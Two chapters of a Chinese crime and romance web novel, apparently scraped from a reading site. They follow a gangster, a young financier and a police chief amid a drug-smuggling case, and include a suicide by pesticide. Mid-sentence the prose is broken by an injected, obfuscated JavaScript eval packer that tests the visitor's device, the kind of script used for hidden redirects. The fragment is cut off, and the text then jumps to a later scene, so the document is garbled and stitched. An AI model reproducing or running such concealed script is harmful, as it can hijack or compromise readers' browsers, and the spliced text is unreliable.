那晚被他子弹击中的人不是她,只能是那个记者了,那把枪估计是妹妹给姐姐防身的。现在宋别来这个破地方,会不会是姐姐的授意? 周寅沉沉地叹了口气,他自己都没想到,医院见她那一次过后,还会和她的有这么深的纠葛。他不知道是不是巧合,他能感受到宋别对他别有所图,可到底是什么,这种未知让他尤为不安。 他收起心绪,停好车,往自己头上扣了一顶鸭舌帽,往下压了压,遮掩住自己的面孔,朝负一零三走去。他做了些伪装,为了让自己显得更凶神恶煞一点,还贴了胡子。 紧接着叩响她家的门,丁茜很快从屋里走出来,打开门,问他:“你是?” “这是丁天德的家吧,那个修车的?” “是,不过他不在家。” 周寅点点头:“是他家就好,你是他姑娘吧,我跟你也行,你回头转告给他。” 丁茜见周寅报上了她爸的名字,心里的疑虑打消几分,把人请进屋里坐着。 周寅坐在那个木椅子上,一打眼儿,就看见了桌上半截烟杆,烟嘴处一圈淡淡的红痕,是宋别的唇色。 他心中微动,脑中下意识浮现出那张张扬妖冶的面孔,艳艳红唇,眼波浮荡,像朵长满荆棘的红花。 “您喝水。”丁茜礼貌性地给他倒了一杯水推到他面前,问道:“您来找我爸,是有什么事要说?” “是这样的。”周寅收回自己的目光,看向她菜色的脸庞:“你爸找我一位朋友借了三万块钱,这是欠条,你看看。也是不巧,我那朋友前两天出了点事,家里儿子生病了,要动手术,急需用钱,就让我来问你们方不方便。对了,你爸这两天没出摊修车吗?” “没,他去南边了,说有个朋友在那里,可以借些钱。”丁茜说道,接过他递来的欠条,上面按着的手印有些污黑的油渍,她爸常年修车,手上的油洗了又沾,怎么都洗不干净。 名字的笔迹,也确实是他的。 “不用等他了,你等一下,我现在拿钱给你。” 丁茜说着,转身走进里屋,从刚才宋别给她的那一沓钱里数出三万块来,拿给周寅:“你数数对不对。” 周寅眼里的惊讶一闪而过就立马被遮盖了过去,眼神微抬,看向那沓鲜红的纸币,笑说:“老丁自己就有这么多钱还去南边找人借啊?这钱是正道儿来的吗?” 丁茜像是没听出来他开玩笑的口吻,很认真地跟他解释起来:“这钱不是借来的,是刚刚,一个高中同学给我治病来的。” 宋别。 周寅立马想到了她,心中仿佛松了一口气,原来是来做善事的,也对,出手这么阔绰,是她没错了。 不过他本意只是来探口风,没想真的要出来钱,这三万块钱不算多,对丁茜家而言却是雪中碳。而且拿走这些钱,就要留下借条,一时之间,竟然有些进退维谷。 他没有慌乱,比起那些刀光血影,现在的这些实在算不上什么。 周寅没问她,拿出一支烟直接填进嘴里点燃:“姑娘,看你这样子是不是生什么病了?脸色不太好啊。” “肾衰竭,尿毒症。”丁茜坐在沙发上,沙发的海绵已经没有了什么弹性,硌得人腰疼,她不舒服的动了动,接着说:“挺长时间的了。” 周寅点点头,站起身在她家里四处看了看,拿起架子上的那一堆写着拗口名字的药瓶打量,里面有的已经空了,有的还剩下两三粒药。 “你爸借钱就是为了给你治病的?”周寅站在架子旁回头看她,这里连阳光都要削减一半,家里也舍不得开灯,丁茜的脸就在这半束光的照耀下闪烁,他只能看见她苍白的两三瞬间,就在这两三瞬间,她好像是笑了。 丁茜的笑容并不苦,没什么情绪起伏,只有无奈和平静:“是啊,他操劳了一辈子,我本来想等我长大了,可以挣钱了,他就能好好休息休息。谁知道反倒得了这个病,把他的晚年拖累的也不能安生。” “老天爷还真是祸害人。”周寅也跟着唏嘘,看了看桌子上那一沓钱,把借条从她手里拿出来,单只手团成一团废纸,三万块钱也留在桌子上没拿,甚至从自己钱包里抽出了一小沓薄薄的纸,撂在桌子上就离开了。 他知道,这样的周寅,也像极了一个善人。 回到车上,他一手开车,另一只手摘下盖在头上的鸭舌帽,撕下脸上贴着的假胡子,开着桑塔纳离开这座老旧小区。 车子一路驶到白杨路,到那间光明修车行的时候,说不上为什么,总感觉有些不对。这家修车行白天基本上不关门,他离开时会把门半关上,留一条缝隙,而现在,那条缝隙已经消失了。 周寅从座椅下面摸出那把枪,别在腰带里,手指紧紧扣住,顺便用垂下来的衣服下摆做遮掩,这才下了车,缓步走到门前。 打开门的瞬间,光透过去,里面很快出现了一张人脸。 “孟良,是谁?” 这道声音更沉,更远,从更深处传来。 周寅看着门前孟良的脸色,已经明白了什么,于是松开握枪的手,朝里走了进去。 “是周寅。” 他走进去,关上门,开了灯,一层亮起的那瞬间,周寅一眼就看见了坐在一边油漆桶上抽烟的男人。 沈缚。 他穿着一件黑衬衫,眼底有些青黑。沈缚的眉眼距要短一些,这就让他的眉眼显得比常人更加深邃,同时也增添了两分狠戾。 “缚哥。”周寅开口道,迟迟没有得到回应。 周遭一片寂静,孟良也没有说话,静得好像可以听见沈缚烟丝燃烧的声音。他看到他时就晓得了,有些事已经捅出去,没法遮掩了。 周寅出神的时候,沈缚的那根烟已经抽完了,扔在脚下用脚捻灭,站起身,随手扯下一边搭着的白色毛巾,缠在自己的手掌上。 下一刻,狠命地朝周寅一侧脸颊打了过去。他一时没有防备,被打得往那边歪了过去,踉跄了几步才扶住东西站稳,孟良也赶紧去扶住他。 口腔内壁磨上牙齿,往地上啐一口,吐出来的全是血沫。 沈缚居高临下地俯视着他:“周寅,吕哥一直是很重视你的,这么多年,你也都行事谨慎,没出过什么岔子,现在倒好,我要是不来还不知道,你们给我捅了这么大篓子。” 周寅直起身,除了刚才那一记拳的疼痛脸上再没什么别的表情,对沈缚说道:“缚哥,发生这事我有责任,但你放心,我捅得窟窿我自己去填,绝对不让你和吕哥操心,该到澄州的货也一点不会少。要是不成——” 他说到这里,顿了一下,拔出自己腰后的枪放在一边的机器上,继续说:我的命,你拿走。” 12. 第 12 章 1. 澄州连日以来的大雪终于在期末考试的最后一天稍作停歇,澄州这座北方城市此时已经遍地霜寒,排水管滴下来的水落在地上,一夜过后,就成了一条冰河。 从教学楼转弯的那一段路,有不少人在那里滑倒,摔了个结结实实的屁股蹲,这让我想起那次因为小个儿跟倒霉大哥打架,我一个飞踢过去,也是摔了屁股蹲,疼得我一整天都坐不下去。 那次的疼痛在我脑海里翻涌而来,让我忍不住打了个寒颤,决定保守一点,扶着墙一点点挪过去。不止我一个人这么做,前面摔倒的人爬起来也开始扶墙,渐渐就成了一个十分和谐的梯队,像是蚂蚁搬运食物一样,一点点挪动身躯。 终于跨过这条冰河,我的脚步开始放开,连周围同学的也隐约沉溺在一种欢愉氛围里,这不奇怪,考完最后一科生物,接下来就是寒假时光,嘴角想平都平不下去。 因为这些天的大雪,路滑,我这几天也没有再骑自行车,从这里到我家不算近,要绕两道路坐公交车。出去校门以后,我本打算沿着早已熟稔的路途走,却发觉今天有什么不对。 校门口停着一辆很漂亮的黑车,黑得发亮,在银装素裹的冬天显得有些刺眼,让出来的学生和来接学生的家长都纷纷侧目。 我不知道为什么也停了下来,看着那辆车,以及车上走下来的人,他比那辆车更加耀目。 他朝我招招手,叫我的名字,小琅。 我爸回来了。 我的心跳动的有些厉害,却没办法像初中生那样跑过去扑倒家长怀里,更何况我是个男生。于是也只朝他招了招手,加快了脚步,走到他跟前问他怎么回来了。 这一年我的身高猛蹿,几乎要和我爸一样高,他比量了一下,对我说,合同签好就回来了,好小子,最近没少长个儿啊,都快赶上你老子我了。 我笑了两声,指着后面的车问他是不是又换车了,这辆车比原来的那辆更帅。他说这是路虎,男人都喜欢这辆车型,等以后我长大了也要送我一辆。 我说不要,我要自己买。 后来我真的也自己开上了车,开过很多,那车不能说是我自己的,我也并非担当着所谓司机的职位,车上载过活人,也载过死人。 我就这样上了我爸的车,临走时还看见窗外有同学和家长瞥过来的眼神,外面好像又开始下雪了。 我收回目光,看向在驾驶座开车的我爸,他身上穿着一身灰色大衣,没有胡茬,也不戴眼镜。我知道我妈喜欢我爸有一部分原因是因为他那张赏心悦目的脸,虽说已经将近四十的年纪,他却没有那些所谓的中年危机,秃顶,发福之类的,身姿依然挺拔。 我年少的时候几乎不存在什么叛逆期,青春也没让我品味到什么叫做五味杂陈的酸甜苦辣,就连青春痘都没有长两颗。我知道这都佑于我爸我妈的开明,已经我爸也真称得上是“楷模”“偶像”的存在。 我不知道他晓不晓得,但总之在我心里,是一直崇拜且敬仰着他的。我想我的以后也要成为他这样的人,穿灰色挺拔的大衣,梳周润发那样油光锃亮的大背头,最好再戴一副眼镜,外国电影里的主角都是这样子的。 我对我的人生没有什么规划和设想,只知道自己以后要成为一个成功的,体面的,像我父亲一样的人。后来的生活不必说,必定是与现在背道而驰的,那时我忽然开始庆幸,幸好我没有梦想,否则,又要背负更多的遗憾和悲痛。在日后的时光里,我大约也就是靠着这样的苦中作乐来延续我的人生的。 我们人生的可悲之处或许就在于,谁都没有预知未来的能力,我料想不到日后生活的动荡,也料想不到那些滚滚而来的灾难,无论是物质上还是精神上,人生都没有给我留有准备的余地。于是我就在这条命运加诸给我既定的道路上毫无意外地行进下去。 可此时年轻的谢琅仍然浑然不觉。 我坐在父亲豪华的车里,路虎的座椅很高,让我的视野也更加开阔——澄州一片雪白,人们穿着各色的羽绒服和冬衣。这是中国最昂扬最有生命力的千禧年代,这种活力也体现在穿着上,红色粉色,青色蓝色,像是一朵朵绽开的花儿。 因为下雪,我爸把车开得很慢。路上时不时还能听到烟花爆竹燃放的声音,我打开窗,冷风一下灌了进来,把我的手和脸都要吹僵。 这时还没有那么多的高楼大厦,我看着苍白的天空把那些白昼焰火也变得苍白,那时我顿有所悟,白色可以让这些色彩更鲜明,也能把它们都掩盖。 吹了几秒的冷风,我实在受不住窗外的寒冷了,赶紧铆进了车里。 和所有家长一样,我爸开始问及我的学习成绩,我说还是那样,那些老师出的题一点心意和难度都没有,真不知道这么简单的东西还能让我那些同学苦思冥想。 我爸揉了揉我的脑袋,说不愧是我儿子,连智商都随你老子。我躲了一下,现在的我已经有了一些“大人尊严”,不愿意再被家长施以这种奖励性的触碰,我更希望他能拍了拍我的肩膀,像对那些大人那样。 可此时我也才十五岁,太急切,太匆匆。还读不懂能做小孩是福气这句话,只急着往前跑,看一看我日后的风景。 然而生活,总是擅长撕碎人们的所有冀望。 如今我终于来到此处,没有鲜花,没有掌声,什么都没有。它只是一片烈火焚烧过后的焦土,一片荒芜。甚至不会有春风和野草。 在这段不算短的岁月里,我这样没心没肺的人竟然也悟出了三两个道理出来,其中第一个,也是命运给我的当头一棒,让我晓得,人的承受能力远远要比你想象的要高上许多。那些我曾以为会要我命的痛苦,竟然也都平静而悄然地离开了,甚至连痕迹都不曾留下。 不止是痛苦,还有我的光辉,我的荣耀,我的过往,那个叫谢琅的人,我再也寻觅不到他的踪迹。 2. 林钊走进会议厅的时候,台下的警察早已经脱帽并膝正襟危坐,台上还有几位置空着,他瞥了一眼名字,是几位省委的领导。 林钊找到自己的座位坐下,是左边第二个位置,旁边一个是隔壁市市局局长,一个是党委书记,目测一下,下面的警察约有二三百人,估计都是队长之类的人,足以见此次阵仗之大。 这并不意外,如今澄州接二连三出了这档子事,隔壁市的情况也并不多好,如果再不有所行动,任其发展,很有可能会酿成大祸。 想到这里,他的眼神暗下去,拧开手边的矿泉水盖子喝了一口。门口一阵骚乱,林钊侧眼看过去,是副省长。他也站起来,等他走过来同他握手。 省长和书记这两天去了中央,这次大会由副省坐镇,省厅主持。身后的光屏亮了起来,映照在身前的手机屏幕上,清晰地写着几个字:严厉打击走私贩毒,坚决推进禁娼剿匪。 “中国是从一座废墟上建立的国家,一八四零年,英国用鸦片打开了中国的国门,让罂粟花开遍我们的神州大地,其人皆为病夫,其国安得不为病国也!东亚病夫的称号是刻在我们历史上的一道污点,我们流了多少血,牺牲了多少条英烈的生命,才终于把这朵索命花铲除,误国害人的毒祸,今天绝对不能卷土重来!” 台下一阵整齐的掌声,又整齐地熄灭,这一篇慷慨激昂的演讲很快调动了在场警察的情绪,座下每个人都表情坚毅,好像罪犯就在眼前。 “毒品金三角地区的形势十分严峻,缅甸北部的掸邦,克钦邦,泰国清莱府,老挝北部琅南塔省,丰沙里,以及乌多姆塞省和琅勃拉邦省西部形成了一个封闭的三角,根据在那里的瓦联军有最精良的武器,他们一直在妄图打开中国的大门,像曾经的英法一样。” 副厅开口道,食指重重点在桌子上,“中国不再是以前的中国了,中国人的血液里,绝不能再被毒祸污染!我们得给为铲除祸乱而牺牲的英魂一个交代。国际方面,我们要尽力联合缅老泰三国政府,对妄图闯入中国境内毒贩实施抓捕,清剿,对被毒贩强迫种植罂粟的东南亚农民,进行解放教育,实施替种政策,引入其他农作物替代毒品,国门一定要守好,新中国绝不可重蹈覆辙!” 台下再次响起一阵掌声,然后迅速归于沉寂。 台上的人手一刻也不停地在做笔记,几位领导轮流发言,后面是几个市局介绍本市的情况,部署工作措施。期间林钊的手机弹出来一条消息,上面清清楚楚地写着,可/卡/因,一千五百克。 这是人体□□的最大极限,也是导致他那么快死亡的诱因之一。 话筒递到他手边,林钊扣下手机,望向席座上那些年轻后生坚毅的面孔,同样坚定的说道:“近日,澄州不断有事关毒品的案件发生,吸毒而死,贩毒而死,毒祸是搅乱安定的最大隐患,是腐蚀民族脊梁的硫酸,毒品问题不容忽视!” “要想做好清毒禁毒,必须全面推进剿匪禁娼,无比严查具有赌博性质的棋牌馆,麻将馆,酒吧,歌厅等娱乐场所,一旦发现有贩毒踪迹,绝不轻饶,绝不手软!加强对吸毒人员戒毒监督,让吸得买不到,贩得卖不了,力劝两端,斩断中间,肃清毒源!” 这场大会足足开了三个多小时,最后领导班子先撤出,林钊和几位领导握了手告别之后也先行离开了。 等上了车,就没忍住点了一根烟。结果摸出来一根女士细烟,万宝路。 他想起来,这是从小别和小安那里拿的,小安这个孩子他能不了解吗,自己看着长大的。那盒烟是谁的他也心知肚明,只是没办法,自己这个做继父的,也不好说太多。 想起宋别,他还是忍不住在心底叹口气。当年和宣霖认识的时候,小姑娘身上连一件像样的衣服都没有,一双眼睛亮晶晶的。宋别从小时候起就不怎么爱说话,也不喜欢和同龄人一起玩,很多时候,她沉浸在自己的世界里。 不知道是不是因为她的生父的原因,她比同龄的人要成熟很多。当年宋别要跳级,他觉得不好,想让她待在和她差不多的环境里。然而她说,她不想在没有意义的事情上浪费时间。 那时宋别多大,也就是十一二岁的年纪。 该怎么形容,她的人生每一步都是精打细算的,在最有利的轨道上前行。 现在确实也不负众望,留洋海外,衣锦还乡,只是总给他一种说不上来的感觉。 林钊当警察当了数十年,什么样的人都打过交道,可是他还是不怎么能看得透他这个便宜闺女,这种看不透反而让他有些不安。 兴许是见他迟迟没有点烟,驾驶座上的警察就点着了火递到他嘴边,把那根烟点燃。 林钊回过神,往他那里看了一眼,说道:“开车吧。” 开车的警察也听了刚才的大会,打着火就开始问他:“林局,别的市也这样吗,还是说只有我们澄州这两天接二连三地发生这事。” “都差不多。”林钊说,吐了一口烟雾,这烟他抽的不怎么爽利,烟嘴的地方还有薄荷爆珠,弄得他牙齿都凉凉的。“不过我觉得,咱们副厅说得也不完全对。” “这话怎么讲,什么地方不对?” 林钊吐出一口烟,打开手机道:“刚才小郑来给我发信息了,在机场死的那个丁天德,胃里有一千五百克的可/卡/因,可是金三角那边主要是种植罂粟和大麻,出口海/洛/因和鸦片,不像是金三角来的……” 开车警察面色也沉重了两分,疑惑道:“那是打哪儿来的,不会是中国就有人种吧?” “不能够,总之这两天加紧点吧,扫黄打非那里也要上点劲。”林钊往窗外抖了抖烟灰,继续说:“对了,丁天德的事告诉他家里人了吗?” “没呢。”小警察说:“法医忙着验尸,就把这事给耽搁了,不过查了他家的资料,没别人,就一个得尿毒症的姑娘,丁天德以前也就是个修车的,估计做这行也是为了筹钱吧。” “这不叫筹钱。”林钊说:“这叫谋财害命。” 烟丝幽幽地燃烧着,林钊看着眼前国道上的来往的车辆,荡起层层烟尘,他很难说丁天德是什么十恶不赦的人,人总是先顾自己,这无可厚非,只可惜他拿别人的命换自己姑娘的命——谁家没女儿呢? 车子开了两个多小时才回到澄州市,他一刻也不停地就赶紧组织人开了一场会来安排工作。 “小郑,你带人去调查调查丁天德,查查他最近和什么人走得近,有什么可疑人员。另外……上次那个吸毒死的高远,也可以顺便摸摸。” “另外,加紧对酒吧,足疗店,按摩店,还有麻将馆此类地方的监管巡查,这些地方往往都是毒品流入的重要闸口,一旦发现可疑人员立马汇报。” “……” * “Ms.宋,魏先生已经来了。”蒋秘书敲响宋别的办公室门,得到应允之后才走进去说道。 宋别把眼神从一堆文件上离开,问他:“哪个魏先生?” “魏怀远,东胜制药的董事长。”蒋秘书解释道:“在这以前他就给我打了几个电话,说是想私下跟您见一面。前几天鎏金正在忙着IPO,你抽不开身,就没有答应。” 宋别点点头,也确实是抽不开身。这个魏怀远找了她挺多次,她也不是一直不给人面子,只是她是做对冲基金的,那魏怀远这么大年纪了,她真怕一不小心给老头冲走了。家族信托的话倒是也可以,只是利益相对没那么高。 “是该见见,我马上就过去。” 她在电脑上抛出最后一支股票清仓,起身朝会客室走去。 魏怀远和助理已经在等着她了,她推开门的时候正看见助理喂老头吃下两颗药,不知道是不是有点噎嗓子,只好再拿水往下送送。 见到宋别推门进来,老头一激动,把刚喝下去的水又咳出来不少。她装作没看见,泰然自若地和他握手谈笑:“魏先生,您久等。” “能见宋小姐一面,等再长时间又能算得上什么。”助理似乎是在替魏怀远回答,不过也对,快八十岁的人了,她是该尊老爱幼一点。 助理说完,又扶着宋别坐下,然后就从会客室退了出去,还顺带关上了门。 魏怀远把手放在身前顺了顺气,才开口道:“Dolly的名声我早就景仰,只是没想到宋小姐会这么年轻。您也知道,东胜是家族产业,这次我退了之后,公司就会交到我那几个儿子身上。可是不瞒你说,我还有一个孩子。” 宋别听到这里已经差不多明白了,这是来给自己私生子某财产来了。因为宋复和宋远章那个野种,她对这种人一向是不怎么待见的,可是她挺待见钱。 “魏先生是觉得家族信托基金会被您的妻子和几个孩子察觉,想换种方式是吗?”宋别拿起桌子上的茶壶给自己倒了一杯茶,抬起头看他:“那还可以动用您的私产。” 魏怀远叹了一口气,又忍不住去锤了两下自己的大腿:“如果真的只是这样的话也用不着找宋小姐您了。前几年我和我妻子签署了一个协议,我这边的财产出现什么变化,她都可以去申请保全。” “这样的话,还可以从慈善基金下手。这方面我们公司可以全权为您操作,不会让您有后顾之忧,当然,抽取的佣金也会相对较高。” 宋别在纽约的名声比国内大得多,Dolly集团背靠费尔南迪家族已经是人尽皆知的秘密,她这位金融新秀和三公子不清不楚的关系也常被人津津乐道。一开始有些人或许是冲着陈斯年去的,可后来这些冲着陈斯年反而越来越少了。宋别的能力有目共睹,还曾登上过《经济报》的封面,被称为Dolly最年轻的屠夫。 放在国内,加之法律条款的限制,这位将近耄耋之年的老人也开始瞻前顾后不敢下手。 他们的谈话进行了两个小时才结束,宋别打开门送走老爷子,公司里的人都已经走了大半了,一部分人去谈业务,一部分人已经下班。公司对于加班没有什么硬性要求,她也从来都是看业绩不看时长。 助理扶住魏怀远,对她礼貌地笑了笑。她点点头,看向魏怀远:“合同会在这周发到您的私人邮箱。” 夏天总是昼长夜短的,尽管已经下午六点,还是没什么天黑的动向。她回去自己的办公室,桌子上的报告差不多已经看了个遍,不得不说,公司这月的业绩是一笔庞大的数额,无论是对她,还是公司。忙了这么长时间,是该给马儿喂点草了。 宋别从办公室出去的时候,正好迎面撞上了拿着包离开的贺普。 “贺普。”她出声叫住他:“跟同事们说一声,下月十七号晚上抽出时间,Dolly能有这么好的发展和你们脱不了关系,算是奖励吧。实在腾不出时间的,从我私人账户走,一人两万。” 尽管有准备,可是听见这个数字,贺普还是忍不住惊讶了一下,这实在不是一个小数目,更何况是每个人两万。不过联想到这为Ms.宋刚见面就把一辆价值不菲的车拍他脸上,也算不得什么稀奇事了。 等看他点头答应下来,宋别就没再多说什么,提上包从公司大步离开。 宋别是个十指不沾阳春水的人,又不喜欢在家里请保姆阿姨之类,所以通常是在外面或者爸妈家里把饭给解决。可现在她只想赶快回家洗个澡,和姓魏的老头在一个空间待那么长时间,她甚至觉得连自己身上都染上了一层老人味。 这不是夸张,魏老头儿那么大年纪的人,估计年轻的时候不少欠风流债,老了老了把身体给掏空了,说一句长句子就差点要流口水。 她开车挺凶的,在没有红绿灯和摄像的路段上直接弯道超车,油门一脚踩到底,渐渐地,道路上所有的车辆都对这辆张扬的银刺避之不及,从公司到家她只用了十分钟左右。 把车停到车库,走到门前——门就从里面打开了。 紧接着看到的就是陈斯年那张混血感十足的脸。他的身材很高大。发色和瞳色都是偏浅的棕色,虽然没有明显的白种人特征,但还是能让人一眼看出来不是中国的本土血脉。 “你怎么来了?”宋别皱着眉看他,顺便推开人走进屋子里。 她对工作的热情极大,家对她而言就是旅馆,用来睡觉的地方,所以这里的生活痕迹并不深,连彰显主人个性的小摆设都没有。 “宋,你这个语气,让我很伤心啊。”他三两步走到她身后,伸手从背后把她圈进怀里,声音里透着从小金尊玉贵养出来的磁性,“我为了见你可是做了几小时的飞机来澄州的。” 宋别从他怀里挣脱,到冰箱里给自己拿了一瓶水拧开喝,随后就立足在那里,隔着段距离问他:“不是在墨西哥吗,怎么来中国了?” “我父亲访华,不过行程并不公开。他说我的母亲是中国人,我也应该多来我的第二故乡看看,于是我就跟着他一起来了。不得不说,中国真是一个神奇的国度。” “当然,我跟你说过的。”说起这个,她还是难免有些民族自豪感从心底冒出来,对他扬唇一笑,问道:“比美国要好。” 陈斯年轻笑两声,没有辩驳,反而踱步到一边的酒柜旁拿起一瓶红酒打量起来。而后嘲讽道:“这种垃圾竟然会出现在你这里,真让我意想不到。” “那你碰了垃圾的手,要不要拿六十度的水消消毒?” 宋别对他的嘲笑不甚在意,又冲他扬了扬下巴:“陈斯年,见也见完了,该走了吧。” “你在赶我啊。”他一副很伤心的语气,走到她面前,抬手抚向她的脸颊。 宋别今天并没有化妆,一张脸显地有些惨白,没什么气色,让陈斯年很不满意:“你回到中国以后还真是落魄,怎么样,要不要考虑回纽约?” 宋别侧过脸躲开他的触碰,声音不冷不热:“陈公子,让我享受享受家庭的温馨吧,至少一年,我是不会考虑回去北美那片土地了。” “这有什么,不如把你爸妈一起接过去?” 宋别绕开他走到一边,从沙发上的包里把烟盒给取出来,随后点燃了一根烟放进烟托,慢慢抽了起来。 以前她还真不是没有过这个想法,只可惜两个人在国内也都有自己的工作,骤然把他们弄到美国也会不适应,更何况,还有一个赌鬼的亲妈和当小三的后妈。 她吐出一口烟雾,换了个话题:“陈斯年,你哥哥和姐姐没再逼你相亲吗,怎么还有闲情雅致到我这里来?” 一说起这个,陈斯年脸上马上愁容遍布,扯了扯脖子上的领带,陷在一边的单人沙发里。宋别没等他回答,熄灭烟转身就进了浴室。 出来的时候,陈斯年似乎已经睡着了,宋别过去推了推他,才皱着眉缓缓睁开了眼,而后顺势伸手把她扯进怀里,一手圈住她的腰把她抱上自己的大腿坐着。 他常年健身,身上的肌肉很结实,同时也把宋别锁得很牢。 她伸手推了他一下,没有推开,反而让他更加眷恋地依附上来,细嗅着她散发着淡淡丝柏味的发香:“檀道,怎么开始喜欢这一款香水了,现在这个时间,是要去见什么人?” 宋别用手抵住他的胸口,和他拉开一点距离,“陈斯年,我想我有必要跟你说清楚一些事情。你的哥哥姐姐在忙着给你相亲,你马上要结婚了,同样的——” 她顿了顿,对他说:“我也该考虑结婚了。” 陈斯年放开手,她也顺势起身,拢了拢被他弄乱的头发。 他这时候才发现,宋别脸上化了妆,唇色鲜艳,长眉似黛,把她的肤色衬得更白了。 “是吗。”陈斯年站起身,姿态由仰视变为俯视,居高临下地看着她,“看来我不在你身边这段时间,你过得很开心。” “我要出门了,你自便吧。”宋别没功夫去细究他语气里的深意,提起包就往外走了出去,陈斯年盯着她的背影,也没有再拦。 自从上次给丁茜留了名片之后,也没见人联系她,算起来上次留的那些钱应该也用的差不多了,她送佛送到西,怎么着也得过去献点爱心了。 只是那一屋子的霉味和潮湿的味道实在让她受不了。 宋别想想,决定吃过饭再去。上次周寅给她做的那碗面,还有些意犹未尽。 车子驶到光明修车行的时候,已经接近傍晚,天际隐隐泛着澄黄的光,店里没有车,卷帘门半关着,上面还有些铁锈的痕迹,看不清里面的状况。 宋别把车停好,径直走过去敲了敲那扇卷帘门,这样的材料声音特别大,里面的人很快听见动静,随后几声凌乱的脚步声。她在这段时间,静静地抱臂等待着那扇门打开。 哗啦一声,卷帘门被推上去,看到的却不是周寅。那张脸有点凶,准确地来说不是那种五大三粗的凶相,而是透着些阴险的狠戾,不像是什么好人面相。 宋别抬头看了他一眼,脸上神色没什么变化,淡淡说道:“我找周寅。” 没等男人说话,里面的门就被打开了,周寅从里面走出,顺势一伸手把卷帘门又往上抬了抬,里面的光顿时透了出来,照得宋别眼前有一瞬间的晃眼,下意识抬手挡了一下,以至于她没看见他忍不住蹙起的眉头。 “宋别,你怎么来了?” “进来坐。” 周寅还没来得及说什么,沈缚已经开口,他再阻拦就显得太过刻意了,只好侧了一下身,给宋别让出一条路。 她不是什么迟钝的人,直到这里,就隐约察觉出今天的气氛有些不对,敛了敛心神,不动声色地再次打量了一眼身边那个男人。随后得出一个很隐晦的答案,他和周寅之间,似乎存在着某种不可言说的层级。 宋别神色自若地走了进去,一楼修车的地方有一片很简陋的等候区,一张长沙发,两张椅子,中间夹着一条矮桌,但都打扫的很干净。 她在长沙发的一端坐下,接过周寅递过来的水,客气地说了一声谢。 那个男人坐在她对面的椅子上,点了一根烟。 宋别觉得,周寅似乎也在刻意和她保持着距离,至少在这个男人面前。她看着杯子里纯净的不见两片茶叶的茶水,抬头看向周寅:“周老板,你上次说缺的那个零件,不是说今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周寅伸手缠住她的腰,将她收进自己怀里,将这个突如其来却又理所应当地吻变得更加深厚,绵长。她的口中有薄荷的清香和凉意,可口腔是湿热的,这种冷热交织着他,让他深陷其中。 或许这是早已埋下的祸根,直到今天,才蓄势而发。 这个吻不知道多长延续了时间,宋别起身的时候,胸口还在止不住地上下起伏,当然被他弄散了几分,半截肩膀露在外面,他从她唇上汲取的唇色,反而沾染到了她的肩上。她一只手抚弄着胸口,另一只手……和他紧握在一起。 “宋别,我没什么可图的。”周寅说。 “我知道,从一开始就知道。”宋别吐出一口气,眼神染上一丝媚色,还是不像妖精,还是像土匪。“你觉得,我还有什么需要图的?” 宋别抽回手,又被他握住指尖,她无奈笑笑:“周寅,你得让我开车。” 他这才松开手。 根本就没有那个总厂,周寅不知道她这是要开去哪里。他侧头看着窗外快速移动的景色,天色越来越暗,玻璃上她的倒影也越来越清晰,头发和皮肤都被养护的很好,只是很瘦,张扬的外貌,鹤立鸡群,一眼难忘。 连他自己都有些差异,就在刚刚,和这个女人唇齿交缠。是情非得已,还是情难自抑?他握了握手,回想起刚才手心残留的触感,自己都有些茫然。 车子依旧在快速行驶着,在拐了几个弯后,进到了槐南路,开进了丁茜家的小区。 他心中不知道怎么有些发紧,虽然上次来的时候做了乔装,可也不知道为什么,隐隐有些不安。果然,宋别的车在她家那栋楼前缓缓停下,随后解开安全带对他说:“我要去看个同学,你要一起吗?” “好。”几乎马上,他就答应了下来。 两人一起下了车,周寅略落后她半步,装作自己对这地方不熟悉,只是在宋别走上那层满是青苔的阶梯时,才牵住她的手稳住。 她很快找到负一零三,门是关着的,敲了几下一点动静都没有,宋别又叫了几声她的名字,还是没有人应答。 “会不会不在家?” “这个时间应该不会,她有尿毒症,出门要挂尿袋,几乎不出去。” 宋别走向一边的窗户旁,隔着铁栅栏拨开那扇满是油污的玻璃,里面的景象在那条窄缝中隐隐透了出来:丁茜斜躺在沙发上,不像是睡着,像是晕倒。 “周寅,里面好像出事了!” “别急,我把门打开。” 周寅听见这话,又伸手敲了敲这扇门,不重,像是在听声音,好像找到了薄弱点,之后对着那一块地方狠命地肘击了一下,两块薄木板的门经不住他这一下,立马被撞出来了一个窟窿,他把手从这个窟窿里伸进去,摸到里面的插销,给拔了出来。 门一打开,宋别就走了进去,里面的丁茜了无生息地躺在那里,面前的茶几上放了几个绿色的瓶子,还有几张撕开的糖纸。 她伸手摇了摇她,没醒,又去探了探她的鼻息,已经近乎微弱。 周寅用毛巾裹着自己的手拿起其中一个瓶子看了一眼,神色立马凌厉起来:“是农药,她自杀了。” 她转头看过去,几只绿色的瓶子都已经见底,地上还有洒出来的一些——不,更像是吐出来的。 “把她抱到我车上,我开车去最近的医院。”她立马下了决定,走到门前给周寅开门。周寅也没有犹豫,俯身把丁茜抱紧怀里就往外走,即便他知道,她无论如何都活不了了。 宋别的车速仿佛又加快了一倍,周寅抱着丁茜到医院大厅没两秒就被放在了急救床上,她还特意记下了农药的名字,等医生问起的时候告诉他。 医院里人来人往,晚上似乎比白天还要忙,有人辗转在几个科室之间,有人和她一样,急匆匆地把一个人送上一张床。 看见护士推着丁茜进了急诊,宋别紧绷了长时间的身体有些松懈,周寅伸过手,把她揽进怀里。她靠在他的胸膛,仿佛有了一席安身立命之地。 然而很快,进去的护士又出来,像电视剧的流程那样对着他们摇了摇头:“已经晚了,你们是她家人吗?” “不是,我是她同学。”宋别道:“我也没她家人的联系方式。” “她叫什么名字,是不是还生过什么病,医院的档案或许有记录。” 宋别如实报给她,护士一听这个名字,眼睛猛地睁大,拿到病案本一查,果然很快就查到了。上面记载着她紧急联系人的联系方式,是她父亲,她连忙拨过去,那边很快就被接通。 “您好,是丁茜的父亲吗?”护士咬了咬牙,这种话无论说多少次都还是有些难以启齿,忍了忍,还是开口:“很不幸,您的女儿丁茜于下午十九点二十三分在我院确诊死亡,还请您来认领一下遗体。” 宋别和周寅坐在医院的铁椅子上,安静地等待着“丁茜父亲”的到来。 